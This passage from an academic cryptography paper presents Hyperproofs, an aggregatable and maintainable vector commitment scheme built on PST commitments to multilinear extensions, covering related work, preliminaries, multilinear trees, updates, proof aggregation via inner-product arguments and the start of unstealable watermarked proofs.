UpdAllProofs
time

Trans-
parent?

Homo-
morphic?

Gen
time |pp|

AMT [58] logn ××× n logn ××× logn ××× ✓ n2 n logn

aSVC [59] 1 1 n logn k log2 k n ××× ✓ n logn n

BBF [12] 1 1 n log2 n k logn n logn ×××† ××× 1 1

CF-CDH [21, 28, 37] 1 1 n2 k n ××× ✓ n2 n2

CF-RSA [20, 21, 37] 1 1 n logn k log2 k n ×××† ✓ 1 1

CFG+RSA [20] 1 1 n log2 n k logk logn n ×××† ××× 1 1

Lattice [48, 51] logn ××× n ××× logn ✓ ✓ 1 logn

Merkle logn ××× n ××× logn ✓ ××× 1 1

Merkle SNARK logn 1 n k logn log(k logn) logn ××× ××× 1 1

Pointproofs [28] 1 1 n logn k n ××× ✓ n n

Hyperproofs logn log(k logn) n logn k logn logn ××× ✓ n n

†: BBF, CF-RSA and CFG+RSA avoid the trusted setup if instantiated using class groups of imaginary quadratic order, which are known to be slower than RSA groups.
∗: Merkle trees, BBF and CFG+RSA require dynamic update hints, rather than static update keys, for digest and proof updates. Only the weakly-binding variant of CFG+RSA supports

digest updates. CF-CDH and Pointproofs have O(n)-sized update keys, which can be too large for some applications.

slower to compute and update, when compared to normal
Merkle trees hashed with SHA-256. Nonetheless, when com-
pared to aggregatable Merkle trees that use SNARK-friendly
hash functions (e.g., Poseidon-128 [29]), Hyperproofs are
only slightly slower to compute and update (see §5.3) but
have faster aggregation, homomorphism and unstealability.

SNARK-based works. Ozdemir et al. [45] explore using
SNARKs to prove knowledge of changes that update a vector
with digest d into a new vector with digest d′. Lee et al. [38]
also use SNARKs to prove correctness of state transitions in
replicated state machines, without having to send the state
changes. Neither work explores unstealability nor maintaining
and aggregating proofs efficiently. Similar to our work, ag-
gregating SNARK proofs [19] and some proof-carrying data
(PCD) schemes [16] also rely on inner-product arguments.

Algebraic VCs. Zhang et al. [68, 69] were the first to
build VCs from PST commitments to MLEs. However, their
O(logn)-sized proofs are concretely larger and do not support
updates. Some VCs have O(1)-sized proofs [12, 20, 21, 28,
35, 37, 59], which inherently require Θ(n) time to update all
proofs after a change. Aggregation and verification in these
VCs is concretely, and sometimes asymptotically, faster (see
Table 1). They also have smaller aggregated proofs. However,
these VCs are not efficiently maintainable (see §5.1), which
precludes using them in settings where provers are rewarded
to maintain proofs (see §4).

Previous maintainable VCs [48, 51, 58, 60] do not sup-
port aggregation; at least not without expensive generic argu-
ment systems (e.g., SNARKs). The lattice-based construction
from [48, 51] is also homomorphic and additionally transpar-

ent, with constant-sized public parameters. However, it is too
slow for practice and non-aggregatable. The authenticated
multipoint evaluation tree (AMT) construction from [58, 60]
can be viewed as the dual to our construction, but from uni-
variate polynomials rather than multivariate. Unfortunately, it
is non-aggregatable, its trusted setup requires O(n2) time and
it has larger O(n logn)-sized public parameters.

Recent work [3, 12, 61] enhances VCs into key-value com-
mitments (KVCs), where arbitrary keys (rather than vector
positions) are mapped to values. Unfortunately, all of these
constructions have constant-sized proofs and are thus not
maintainable. Some VCs have transparent setup [12, 20, 37],
support incremental aggregation [20], have a “specialiazable”
CRS [20] and provide time/space trade-offs when computing
proofs [12,20]. Hyperproofs do not have any of these features.

Unstealability. To the best of our knowledge, Katz et al. are
the first to observe that (carefully) tying the identity of the
prover to a proof she computes allows rewarding the prover
for her effort [33]. However, their work focuses on watermark-
ing zero-knowledge proofs of knowledge of a secret witness. In
contrast, in our work, our proofs need not be zero-knowledge
and they need not prove knowledge of secret witnesses. Fur-
thermore, unlike Katz et al.’s result, our notion of unsteal-
ability captures the difficulty of extracting useful informa-
tion from watermarked proofs that might help an adversary
steal proofs faster than computing them from scratch. Subse-
quently, Wesolowski explores such watermarked proofs in the
context of verifiable delay functions (VDF) [64]. In contrast,
we are the first to explore watermarking VC proofs and to
give security definitions.
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Although no previous VC scheme is unstealable, some can
be made so using our pairing-based techniques from §3.4.
Specifically, VCs from pairing-based polynomial commit-
ments [28, 59, 60] appear compatible with our techniques.
On the other hand, RSA-based VCs [12, 20, 21], which lack
pairings, are less amenable to our techniques. While proofs-of-
knowledge of exponent (PoKEs) [12] could be used to replace
the reliance on pairings, this would come at the cost of losing
maintainability of watermarked proofs. Lastly, our pairing-
based techniques do not apply to Merkle trees as they are
based on hash functions. Instead, we discuss watermarking
Merkle proofs via SNARKs and their pitfalls in §3.4, under

“Strawmen”.

2 Preliminaries

Notation. Let [0,n) = {0,1, . . . ,n− 1}. An ℓ-bit number i
has binary representation i = (iℓ, . . . , i1) if, and only if, i =
∑
ℓ−1
k=0 ik+12k. Note that iℓ is the MSB of i and i1 is the LSB.

We often use i as i’s binary representation and ik as its kth
bit, without explicit definition. Let r ∈R S denote picking an
element from S uniformly at random.

Pairings. (p,G1,G2,GT ,e,g1,g2) ← BilGen(1λ) denotes
generating groups G1, G2 and GT of prime order p, with gi
a generator of Gi, and a pairing e : G1×G2→GT such that
∀u ∈G1,w ∈G2 and a,b ∈ Zp,e(ua,wb) = e(u,w)ab. A use-
ful property of e(·, ·) is that e(u,h)e(v,h) = e(uv,h),∀u,v,h ∈
G2

1×G2. In this paper, we assume Type III bilinear groups
(i.e., without efficiently-computable homomorphisms be-
tween G1 and G2 or viceversa), which are needed by the
inner-product argument from §2.4 and are also more efficient
in practice. Let 1G denote the identity in a group G.

Vectors. Bolded, lower-case symbols such as a =
[a0, . . . ,an−1] ∈ Zn

p typically denote vectors of field elements.
Bolded, upper-case symbols such as A = [A1, . . . ,Am] ∈
Gm typically denote vectors of group elements. |A| de-
notes the size of the vector A. Ax = [Ax

1, . . . ,A
x
m],x ∈ Zp,

A◦B= [A1B1,A2B2, . . . ,AmBm], and ⟨A,B⟩=∏
m
j=1 e(A j,B j)

denotes a pairing product. Let AL = [A1, . . . ,Am/2] and AR =
[Am/2+1, . . . ,Am] denote the left and right halves of A. Let
A||1G denote a vector of size 2|A| that “extends” A to the
right with the identity of G. (Similarly, 1G||A “extends” A to
the left.)

2.1 Multilinear extension (MLE) of a vector

Let n = 2ℓ and x = (xℓ, . . . ,x1). A vector a = [a0, . . . ,an−1] ∈
Zn

p can be represented as a multilinear extension polynomial
f : Zℓ

p→ Zp which maps each position i to ai:

f (i) = f (iℓ, . . . , i2, i1) = ai,∀i ∈ [0,n) (2)

For example, the MLE of a = [5,2,8,3] is f (x2,x1) defined
as:

5(1− x2)(1− x1)+2(1− x2)x1 +8x2(1− x1)+3x2x1 (3)

In general, the unique multilinear extension f of a is:

f (x) = f (xℓ, . . . ,x1) =
n−1

∑
j=0

a jS j,ℓ(xℓ, . . . ,x1) =
n−1

∑
j=0

a jS j,ℓ(x) (4)

where S j,ℓ, j ∈ [0,2ℓ) are selector multinomials defined as:

S j,ℓ(x) =
ℓ

∏
k=1

sel jk (xk),s.t. sel jk (xk) =

{
xk, if jk = 1

1− xk, if jk = 0
, (5)

with S0,0(x) = 1. In our example from Eq. 3, we have ℓ =
2 and so: S0,2(x) = (1− x2)(1− x1), S1,2(x) = (1− x2)x1,
S2,2(x) = x2(1− x1) and S3,2(x) = x2x1. We often refer to
sel jk as a selector monomial. Importantly, note that:

S j,ℓ(iℓ, . . . , i1) = S j,ℓ(i) =

{
1, i = j
0, i ̸= j

,∀i ∈ [0,2ℓ) (6)

By these properties above, we can see why Eq. 2 holds for
any i:

f (i) =
n−1

∑
j=0

a jS j,ℓ(i) = aiSi,ℓ(i)+
n−1

∑
j=1, j ̸=i

a jS j,ℓ(i) = ai ·1+0

In other words, an MLE f acts as a “multiplexer”, choosing
the right ai based on the input position i, given as i in binary.

MLE decomposition. An MLE of size n = 2ℓ can be de-
composed into two MLEs of size n/2 [69]. For example,
split a from Eq. 3 into its left and right halves a0 = [5,2]
and a1 = [8,3], with MLEs f0 = 5(1− x1)+ 2x1 and f1 =
8(1− x1)+3x1, respectively. Then, observe that the MLE f
for a is a combination of f0 and f1: i.e., f = (1−x2) f0+x2 f1.
In general, the MLE f of any a decomposes as:

f (x) = (1− xℓ) f0(xℓ−1, . . . ,x1)+ xℓ f1(xℓ−1, . . . ,x1) (7)

Note that for a = [a0,a1] of size 2, the MLEs f0, f1 are trivial
(i.e., of size 1) and are simply set to a0 and a1, respectively.
We use fbℓbℓ−1...bk to denote the MLE of the abℓbℓ−1...bk sub-
vector, which is a subvector of all ai’s with iℓ = bℓ, iℓ−1 =
bℓ−1, . . . , ik = bk. For example, in a vector a = [a0, . . . ,a7],
f01 is the MLE of a01, which contains all (three bit) positions
i whose first two bits are 01: i.e., a01 = [a2,a3] because, in
binary, 2 and 3 are 010 and 011, respectively.

2.2 PST commitments to MLEs
Papamanthou, Shi and Tamassia [46] extend Kate-Zaverucha-
Goldberg (KZG) univariate polynomial commitments [32]
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g1

g(1−s1)
1

g(1−s1)(1−s2)
1

g(1−s1)(1−s2)(1−s3)
1

g(1−s1)(1−s2)s3
1

g(1−s1)s2
1

g(1−s1)s2(1−s3)
1

g(1−s1)s2s3
1

gs1
1

gs1(1−s2)
1

gs1(1−s2)(1−s3)
1

gs1(1−s2)s3
1

gs1s2
1

gs1s2(1−s3)
1

gs1s2s3
1

Figure 1: PST (and Hyperproofs) public parameters. The uth path in this
tree is actually the update key upku from Eq. 16.

to multivariate ones. We refer to their scheme as PST and
restrict its use to multilinear extensions, introduced above.

Commitments. PST works over a bilinear group obtained via
BilGen. The PST commitment to a multilinear extension f
for a vector a of size n = 2ℓ is a single group element in G1:

pst( f ) = g f (sℓ,...,s1)
1 = g

∑
n−1
j=0 a jS j,ℓ(s)

1 =
n−1

∏
j=0

(
g

S j,ℓ(s)
1

)a j
(8)

Here, s = (sℓ, . . . ,s1) are trapdoors generated via a trusted

setup that outputs n-sized public parameters: g
S j,ℓ(s)
1 =

g
S j,ℓ(sℓ,...,s1)

1 ,∀ j ∈ [0,2ℓ). Importantly, the setup discards s,
since knowledge of it directly breaks PST’s security [47].
We stress that pst( f ) can be computed without knowing s, as
per Eq. 8. Lastly, PST commitments are homomorphic, with
pst( f + f ′) = pst( f )pst( f ′) for any MLEs f , f ′.

Evaluation proofs. Papamanthou, Shi and Tamassia give a
way to prove evaluations f (i) against pst( f ) [46], where i is
the binary representation of i ∈ [0,n). Their key observation,
which we refer to as the PST decomposition, is that:

f (i) = z⇔∃q j’s, f (x)− z = ∑
j∈[ℓ]

q j(x j−1, . . . ,x1) · (x j− i j) (9)

This yields a PST evaluation proof for f (i) = z consisting

of commitments w j = g
q j(s)
1 to the quotient polynomials q j.

To compute the q j’s, the prover first divides f by xℓ − iℓ,
obtaining qℓ and a remainder rℓ. Then, the prover continues
recursively on the remainder rℓ, which no longer has variable
xℓ. Specifically, the prover divides rℓ by xℓ−1− iℓ−1, obtaining
qℓ−1 and rℓ−1. And so on, until he obtains the last quotient
q1 with remainder r1 = f (i) (see Fig. 2 and [47, Lemma
1]). Overall, this takes T (n) = O(n)+T (n/2) = O(n) time,
including the time to commit to the q j’s.

Note that the q j’s are actually MLEs of size n/2,n/4, . . . ,1.

As a result, PST’s actual public parameters are g
S j,k(s)
1 ,∀k ∈

[0, ℓ],∀ j ∈ [0,2k), so as to also be able to commit to these
quotient MLEs. Lastly, the parameters form a tree (see Fig. 1)
and are thus of size 2n−1 G1 elements.

A verifier who has the commitment pst( f ), the claimed
evaluation (i, f (i) = z) and a logarithmic-sized, publicly-
known verification key g

s j
2 ,∀ j ∈ [ℓ] can verify the proof using

PST.Prove( f , ℓ, i = (iℓ, . . . , i1))→ πi:

1. If ℓ= 0 (i.e., f is a constant), return ∅.

2. Otherwise, divide f by xℓ− iℓ, obtaining quotient qℓ(xℓ−1, . . . ,x1)
and remainder rℓ(xℓ−1, . . . ,x1) such that f = qℓ · (xℓ− iℓ)+ rℓ.

3. Return
(

gqℓ(s)
1 ,PST.Prove(rℓ, ℓ−1,(iℓ−1, . . . , i1))

)
Figure 2: O(n)-time algorithm for computing a single PST evaluation proof
πi for f (i) w.r.t. an MLE f of size n = 2ℓ.

ℓ+1 pairings:

e(pst( f )/gz
1,g2) = ∏

j∈[ℓ]
e(w j,g

s j−i j
2 ) (10)

The check above ensures Eq. 9 holds when x = s, which is
sufficient for security since s is random and secret. In con-
structing our VC, we prove a stronger notion of security for
PST commitments (see §6).

2.3 Vector Commitments (VCs)
We formalize VCs below, similar to Catalano and Fiore [21].

Definition 2.1 (VC). A VC scheme is a set of PPT algorithms:

Gen(1λ,n)→ pp: Given security parameter λ and maximum vector size
n, outputs randomly-generated public parameters pp.

Compp(a)→ C: Outputs digest C of a = [a0, . . . ,an−1] ∈ Zn
p.

Openpp(i,a)→ πi: Outputs a proof πi for position i in a.

OpenAllpp(a)→ (π0, . . . ,πn−1): Outputs all proofs πi for a.

Aggpp(I,(ai,πi)i∈I)→ πI : Combines individual proofs πi for values ai

into an aggregated proof πI .

Verpp(C, I,(ai)i∈I ,πI)→{0,1}: Verifies proof πI that each position i∈ I
has value ai against digest C.

UpdDigpp(u,δ,C)→ C′: Updates digest C to C′ to reflect position u
changing by δ ∈ Zp.

UpdProofpp(u,δ,πi)→ π′i: Updates proof πi to π′i to reflect position u
changing by δ ∈ Zp.

UpdAllProofspp(u,δ,π0, . . . ,πn−1)→ (π′0, . . . ,π
′
n−1): Updates all

proofs πi to π′i to reflect position u changing by δ ∈ Zp.

Observations: For simplicity, we give our algorithms oracle
access to the public parameters pp of the scheme. This way,
each algorithm can easily access the subset of the parameters
it needs.

We formalize OpenAll and UpdAllProofs since, in some
VCs, these algorithms are faster than n calls to Open and
UpdProof, respectively. In this sense, we stress that the
UpdAllProofs algorithm can work in sublinear time, since it
does not necessarily need to read all input or write all output
(e.g., in Merkle trees, UpdAllProofs only reads logn sibling
hashes and overwrites another logn hashes).
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Correctness and soundness. We define VC correctness in
Def. B.1 and VC soundness in Def. B.2.

2.4 Inner Product Arguments (IPA)
LetCM denote a commitment scheme by Abe et al. [1] for vec-
tors A,B ∈Gm

1 ×Gm
2 and their pairing product Z = ⟨A,B⟩=

∏
m
i=1 e(Ai,Bi). CM uses a randomly-generated commitment

key ck = (v,w) ∈Gm
1 ×Gm

2 to commit to A,B and Z as:

C = CM(ck;A,B,Z) = (⟨A,v⟩, ⟨w,B⟩, Z) def= (C1,C2,C3) (11)

This commitment scheme is not hiding but is binding under
Symmetric-eXternal Diffie-Hellman (SXDH) [1, 2].

Bünz et al. [19] give a non-interactive inner-product ar-
gument (IPA) where a prover convinces a verifier, that the
prover knows how to open an Abe et al. commitment C to
(A,B,⟨A,B⟩); i.e. they give an argument for the language:

Lm
IPA = {(ck,C) | ∃A ∈Gm

1 ,B ∈Gm
2 , s.t.C = CM(ck;A,B,⟨A,B⟩)}

We abstract Bünz et al.’s [19] non-interactive argument for
LIPA as three algorithms:

GIPA(1λ,m)→ (PK,V K): Returns PK =V K = ⟨BilGen(1λ),ck = (v∈R

Gm
2 ,w ∈R Gm

1 )⟩
PIPA(PK,A,B)→ π: Returns a proof π that C = CM(ck;A,B,⟨A,B⟩)

VIPA(V K,C,π)→{0,1}: Verifies proof π that C = CM(ck;A,B,⟨A,B⟩)

IPA complexity. PIPA takes O(m) time, VIPA takes O(logm)
time and the proof size is |π|= O(logm) (see App. A).

3 Hyperproofs

In this section, we intuitively explain how Hyperproofs work,
often referring to a prover who computes the vector’s digest,
as well as proofs, and to a verifier who verifies proofs against
this digest. Without loss of generality, our discussion will
assume vectors of size exactly n = 2ℓ. Hyperproofs represents
a vector a = [a0, . . . ,an−1] as a multilinear extension (MLE):

f (x) =
n−1

∑
i=0

aiSi,ℓ(x) ,

where Si,ℓ are selector multinomials as per Eq. 5. The di-
gest of the vector a is a Papamanthou-Shi-Tamassia (PST)
commitment to f :

pst( f ) = g f (s)
1 ,

where s is the PST trapdoor (see §2.2). Thus, our public pa-
rameters are the same as PST’s parameters depicted in Fig. 1.

f1− f0

f01− f00

f001− f000

f000
= a0

f001
= a1

f011− f010

f010
= a2

f011
= a3

f11− f10

f101− f100

f100
= a4

f101
= a5

f111− f110

f110
= a6

f111
= a7

Figure 3: A multilinear tree (MLT) of size 8. Recall from §2 that fbℓbℓ−1...bk
denotes the MLE of abℓbℓ−1...bk . Each node stores a PST commitment to the
depicted MLE: e.g., root stores pst( f1− f0), not f1− f0. The proof for ai
consists of all commitments along ai’s path to the root (e.g., for a4, the boxed
nodes). Sibling leaves [a2 j,a2 j+1] have the same proof. If, say, a4 changes,
all pink-colored MLEs change, and all boxed commitments must be updated.

3.1 Multilinear trees (MLTs)
A Hyperproof for position i is just a PST evaluation proof
(see §2.2) for f (i). Unfortunately, if one uses the PST.Prove
algorithm from Fig. 2 to compute all PST evaluation proofs,
this takes O(n2) time. Below, we show how to compute all
n proofs faster, in O(n logn) time, by avoiding unnecessary
computations (see Fig. 4).

Denote the proof for f (i) as πi = (πi,ℓ, . . . ,πi,1). Next, ob-
serve that if we compute all proofs πi via n calls to:

PST.Prove( f , ℓ,(iℓ, . . . , i1)),∀i ∈ [n] ,

they actually all have the same first quotient qℓ committed in
πi,ℓ! This is because all n PST.Prove calls initially divide f by
xℓ− iℓ, which actually yields the same quotient, independent
of iℓ. To see this, recall the MLE decomposition from Eq. 7
and reorganize it in two ways as:

f = (1− xℓ) · f0 + xℓ · f1⇔
f = ( f1− f0) · (xℓ−1)+ f1 (12)
= ( f1− f0) · xℓ+ f0 , (13)

where f0 is the MLE for the left half a0 of a and f1 is the MLE
for the right half a1 (recall from §2). Since both divisions
yield the same qℓ = f1− f0 quotient, all πi’s share the same
πi,ℓ commitment to qℓ! We depict this qℓ as the root of a
multilinear tree (MLT) in Fig. 3.

Next, recall that each one of the n PST.Prove calls recurses
on its remainder, which was either f0 or f1 (as per Eqs. 12
and 13). Specifically, the first n/2 calls for i ∈ [0,n/2) (i.e.,
iℓ = 0) recurse on PST.Prove( f0, ℓ− 1,(iℓ−1, . . . , i1)), and
the other n/2 calls for i ∈ [n/2+ 1,n) (i.e., iℓ = 1) recurse
on PST.Prove( f1, ℓ−1,(iℓ−1, . . . , i1)). But by the same argu-
ment above, each group of n/2 calls returns the same first
quotient commitment. For example, for the first group, we
have quotient f01− f00:

f0 = ( f01− f00)(xℓ−1−1)+ f01 (14)
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MLT.Compute( f , ℓ)→ [t1, . . . , t2ℓ−1]:

1. If ℓ= 0 (i.e., f is a constant), return ∅.

2. Otherwise, ∀b ∈ {0,1}, divide f by xℓ−b, obtaining quotient f1− f0

and remainder fb such that f = ( f1− f0) · (xℓ−b)+ fb.

3. Return
(

g( f1− f0)(s)
1 ,MLT.Compute( f0, ℓ−1),MLT.Compute( f1, ℓ−1)

)
Figure 4: Computes an MLT in O(n logn) time consisting of PST evaluation
proofs for all f (i) w.r.t. an MLE f of a of size n = 2ℓ. In contrast, n naive
calls to PST.Prove would take O(n2). Recall that f0 and f1 are MLEs for
the left and right halves of a. Returns the tree stored in preorder in an array.

= ( f01− f00)xℓ−1 + f00 , (15)

Similarly, for the second group, the quotient will be f11−
f10. Both quotients are depicted as the children of the root
in Fig. 3. Continuing recursively in this fashion yields our
multilinear tree (MLT) from Fig. 3. We describe the algorithm
for computing it in Fig. 4 and we argue correctness of MLT
proofs in the extended version of our paper [56].

3.2 Updates and homomorphism

Updating digests and MLTs. Suppose a4 changes by δ in
our MLT from Fig. 3. Then, by Eq. 4, we know that a’s MLE
will change to:

f ′ = f + x3(1− x2)(1− x1)δ = f +S4,3(x)δ

But what about the MLT? The following highlighted MLEs
from Fig. 3 will be updated to:

f ′100 = f100 +δ

f ′10 = f10 +(1− x1)δ

f ′1 = f1 +(1− x2)(1− x1)δ

f ′ = f + x3(1− x2)(1− x1)δ

These MLEs changing affect the MLEs along a4’s path. For
example, the root MLE f1− f0 also changes by the same
amount as f1: i.e., by + (1− x2)(1− x1)δ. Furthermore,
their corresponding commitments are easy to update via
the PST homomorphism. For example, the new root will be
pst( f1− f0) ·g(1−s2)(1−s1)δ

1 . However, note that updating com-
mitments requires knowing g(1−s2)(1−s1)

1 , which is referred to
as an update key. We delve into this next.

Update keys. Recall that Su,k(x) is the selector multinomial
for position u ∈ [0,2k) in an MLE of size 2k (see Eq. 5).
However, to easily reason about updates, it is useful to define
Su,k even when u ≥ 2k as Su,k = Su mod 2k,k. As explained
above, updating the MLT after au changes by δ requires some
auxiliary information referred to as an update key for position
u. This consists of commitments to all selector multinomials
for u in MLEs of size 1,2, . . . ,2ℓ:

upku =
{

g
Su,k(s)
1 : k ∈ [0, ℓ]

}
=
{
upku,k : k ∈ [0, ℓ]

}
(16)

Recall that Su,0(x) = 1, so that upku,0 = g1,∀u∈ [0,2ℓ). Then,
the MLT commitments (wu,ℓ, . . . ,wu,1) along u’s path are up-
dated as:

w′u,k = wu,k · (upku,k−1)
δ = wu,k · (g

Su,k−1(s)
1 )δ,∀k ∈ [ℓ] (17)

Note that this implies that any proof πi = (wi,ℓ, . . . ,wi,1) can
be updated after a change at u: one simply has to identify
the “intersection” of u’s proof with i’s proof and apply the
update as above, as if updating a pruned MLT consisting of
just πi. More formally, suppose i and u have the same t most
significant bits (i.e., ik = uk,∀k ∈ {ℓ,ℓ− 1, . . . , ℓ− t + 1}).
Then, the updated proof π′i is initially set to πi and (partially)
updated as:

w′i,k = wi,k · (upku,k−1)
δ,∀k ∈ {ℓ, . . . , ℓ− t},1≤ k ≤ ℓ (18)

The digest updates more simply as:

pst( f ′) = pst( f ) ·gSu,ℓ(s)
1 = pst( f ) ·

(
upku,ℓ

)δ (19)

Lastly, we note that the update keys actually coincide with
our public parameters (see Fig. 1).

MLTs are homomorphic. Since our multilinear tree stores
an MLE commitment at each node, we observe that the MLT
itself is homomorphic: the MLT for a+b can be obtained
by “node-by-node multiplying” a’s MLT with b’s MLT. In
other words, every node w in the new MLT is the prod-
uct of the nodes w in the MLTs for a and b. Specifically,
pst( f ′′w) = pst( fw + f ′w) = pst( fw)pst( f ′w), where fw, f ′w, f ′′w
denote the MLE stored at node w in the MLT for a,b and
a+b, respectively. This enables our unstealability construc-
tion from §3.4 and has other applications to authenticating
data in the streaming setting [48].

3.3 Aggregating proofs
Recall that a proof (w1, . . . ,wℓ) for ai in the vector a of size
n = 2ℓ is just an ℓ-sized PST evaluation proof (see §2.2) and
verifies as:

e(C/gai
1 ,g2) =

ℓ

∏
k=1

e(wk,g
sk−ik
2 ) , (20)

where C is the digest and (gsk−ik
2 )k∈[ℓ] is position i’s public

verification key.

Warm-up: Compressing proofs. It is useful to first discuss
compressing a size-ℓ proof for ai to size logℓ via the IPA from
§2.4. For this, we let A = [w1 . . .wℓ], B = [gs1−i1

2 . . .gsℓ−iℓ
2 ],

Z = e(C/gai
1 ,g2) and prove that (Z,B) is in the following

language:

Lℓ
PROD =

{
Z ∈GT ,B ∈Gℓ

2

∣∣∣ ∃A ∈Gℓ
1,Z = ⟨A,B⟩

}
(21)
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GBATCH(1λ,b, ℓ)→ (PK,V K): Return GIPA(1λ,b · ℓ)

PBATCH(PK,(Ai,Bi)i∈[b])→ π:

1. Let A = [A1||A2|| . . . ||Ab] and B = [B1||B2|| . . . ||Bb]

2. Let C1 = ⟨A,v⟩ (i.e., 1st component of CM(ck;A,B′,1GT ))

3. Let ri = H(C1,B, i) ∈ Zp for i = 1, . . . ,b

4. Let B′ = [Br1
1 ||B

r2
2 || . . . ||B

rb
b ]

5. Let π∗ = PIPA(ck,A,B′) and return π = (C1,π
∗).

VBATCH(V K,(Bi,Zi)i∈[b],π)→{0,1}:

1. Parse the proof π = (C1,π
∗)

2. Let ri = H(C1,B, i) ∈ Zp for i = 1, . . . ,b

3. Let B′ = [Br1
1 ||B

r2
2 || . . . ||B

rb
b ] and Z′ = ∏

b
i=1 Zri

i

4. Let C2 = ⟨w,B′⟩ (i.e., 2nd component of CM(ck;A,B′,1GT ))

5. Let C = (C1,C2,Z′) and return VIPA(ck,C,π∗).

Figure 5: Our argument for Lb,ℓ
BATCH used to aggregate Hyperproofs. H is a

random oracle and (GIPA,PIPA,VIPA) is the Bünz et al. IPA from §2.4.

Next, we can use the IPA from §2.4. Specifically, assume
our LPROD prover and verifier share a commitment key
ck = (v,w). First, the prover gives C1 = ⟨A,v⟩ to the verifier.
Second, the verifier computes C2 = ⟨w,B⟩ and lets C3 = Z.
Thus, the verifier now has a commitment C = (C1,C2,C3)
to A,B and Z. Third, the prover simply runs PIPA from §2.4
and convinces the verifier that the committed values satisfy
Z = ⟨A,B⟩ and thus that the Hyperproof verifies as per Eq. 20.

Aggregating proofs. Next, we observe that aggregating
many proofs (π1, . . . ,πb), each for a position pi in a, reduces
to proving membership in Lℓ

PROD for each (Zi,Bi), where
Zi = e(C/g

api
1 ,g2) and Bi is position pi’s verification key. But

doing this naively would result in a large, O(b logℓ) aggre-
gated proof size. Instead, we seek a more succinct argument
for the following new language:

Lb,ℓ
BATCH =

{
(Zi ∈GT ,Bi ∈Gℓ

2)i∈[b]
∣∣∣ ((Zi,Bi) ∈ Lℓ

PROD)i∈[b]
}

(22)

=
{
(Zi ∈GT ,Bi ∈Gℓ

2)i∈[b]
∣∣∣ (∃Ai ∈Gℓ

1,Zi = ⟨Ai,Bi⟩)i∈[b]
}

In other words, membership in Lb,ℓ
BATCH guarantees that ∀i ∈

[b],∃Ai:

Zi =
ℓ

∏
j=1

e(Ai, j,Bi, j), (23)

where Ai, j is the jth entry of Ai. Note that we cannot use the
TIPP argument from [19] to prove membership in LBATCH,
since it can only prove that ∀i,Zi = e(Xi,Yi), where (Xi,Yi) ∈
G1×G2. Instead, we design a new argument for Lb,ℓ

BATCH (see
Fig. 5) which uses a random linear combination to combine
the ℓ-sized equations from above into a single bℓ-sized one:

b

∏
i=1

Zri
i =

b

∏
i=1

(
ℓ

∏
j=1

e(Ai, j,Bi, j)

)ri

(24)

Gen(1λ,n)→ pp: Let (p,G1,G2,GT ,e,g1,g2)← BilGen(1λ). Let s =
(s1, . . . ,sℓ) ∈R Zℓ

p, where n = 2ℓ. Let pp consist of

• pst(S j,k) = g
S j,k(s)
1 ,∀k ∈ [0, ℓ],∀ j ∈ [0,2k);

• gsk
2 ,∀k ∈ [ℓ];

• (PK,V K)← GBATCH(1λ,b, ℓ).
We refer to (gsk−ik

2 )k∈[ℓ] as position i’s verification key.

Compp(a)→ C: Let C = pst( f ) = g f (s)
1 = g f (s1 ,...,sℓ)

1 , where f is a’s
MLE.

OpenAllpp(a)→ (π0, . . . ,πn−1): Return the MLT as per §3.1.

Openpp(i,a)→ πi: Compute only the ith path in the MLT and return it.

Aggpp(I,{ai,πi}i∈I)→ πI : Let m = |I| and let A1,A2, . . . ,Am denote
proofs (πi)i∈I , ordered by i, and B1, . . . ,Bm denote their corresponding
verification keys. Return PBATCH(PK,(Ak,Bk)k∈[m]).

Verpp(C, I,{ai}i∈I ,πI)→{0,1}: If I = {i}, parse πI = (w1, . . . ,wℓ) and
ensure that

e(C/gai
1 ,g2) =

ℓ

∏
j=1

e(w j,g
s j−i j
2 ) .

Otherwise, let m = |I| and B1, . . . ,Bm denote the verification keys for
the proofs, ordered by their position i. Let Z1,Z2, . . . ,Zm be all the
e(C/gai

1 ,g2)’s, also ordered by i. Return VBATCH(V K,(Bk,Zk)k∈[m],πI).

UpdDigpp(u,δ,C)→ C′: Let C′ = C · (gSu,ℓ(s)
1 )δ.

UpdProofpp(u,δ,πi)→ π′i: Update via UpdAllProofs (see below) as if
πi was a pruned, single-path MLT (see Eq. 18).

UpdAllProofspp(u,δ,π0, . . . ,πn−1)→ (π′0, . . . ,π
′
n−1): Assume u’s MLT

path is (w1, . . . ,wℓ). Update this path as w′k = wk · (upku,k−1)
δ (for k =

1, . . . , ℓ) as per Eq. 17.

Figure 6: Algorithms for Hyperproofs, implicitly parameterized by the max
number of proofs b that can be aggregated into a single proof.

It is well known that, if the ri’s are uniformly random,
verifying the combined equation above is sufficient (see
Lemma A.1). As a result, our argument for Lb,ℓ

BATCH uses the
IPA from §2.4 on this combined equation in a black-box man-
ner. (This is similar to the previous Lℓ

PROD argument, except it
involves larger vectors and randomization.) We give a precise
description of its (GBATCH,PBATCH,VBATCH) algorithms in
Fig. 5, show how it fits in our VC construction in Fig. 6, and
prove security in App. A.

Aggregation time and proof size. It is easy to see from Fig. 5
that the PBATCH time (i.e., the time to aggregate b proofs) is
O(b · ℓ) and the VBATCH time (i.e., the time to verify the ag-
gregated proof) is O(b · ℓ). Unfortunately, even though our
Lb,ℓ
BATCH argument uses the IPA with fast, O(log(b · ℓ))-time

KZG-based verification (see §2.4), the VBATCH verifier still
needs to do O(b · ℓ) work on the Bi vectors. (Note that this
O(b · ℓ) verifier work seems inherent for processing the b ver-
ification keys.) Lastly, the argument size (i.e., the aggregated
proof size) is O(log(b · ℓ)) = O(logb+ logℓ).

Cross-aggregation. In addition to aggregating proofs w.r.t.
the some digest C, we can also cross-aggregate proofs w.r.t.
different digests [28]. Specifically, suppose we have b proofs
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πi for positions pi, each w.r.t. a (potentially-different) di-
gest Ci for a vector with MLE fi. Then, we can use the
same PBATCH prover from Fig. 5 to cross-aggregate these
proofs. To verify, the verifier now computes the Zi’s given to
VBATCH by using the right digest and evaluation point: i.e.,
Zi = e(Ci/g fi(pi)

1 ,g2).

3.4 Unstealable proofs
In this subsection, we show how to incentivize proof compu-
tation by allowing provers, who store the vector and maintain
proofs, to watermark the proofs they compute. Such water-
marked proofs are cryptographically-bound to their prover’s
identity, which means the prover can be monetarily rewarded
for having computed them (e.g., in cryptocurrencies). Im-
portantly, this cryptographic binding cannot be undone by
adversaries. In other words, “stealing” a proof by replacing
its watermark with your own, is no easier than computing the
proof from scratch like everyone else. We call such water-
marked proofs unstealable, formalize and prove their security
and make Hyperproofs unstealable. We show why and how
unstealability is helpful in the cryptocurrency setting in §4.
We also envision other applications could benefit from it.

Unstealability goals. First, any vector a should continue to
have a single digest C against which all correct proofs verify,
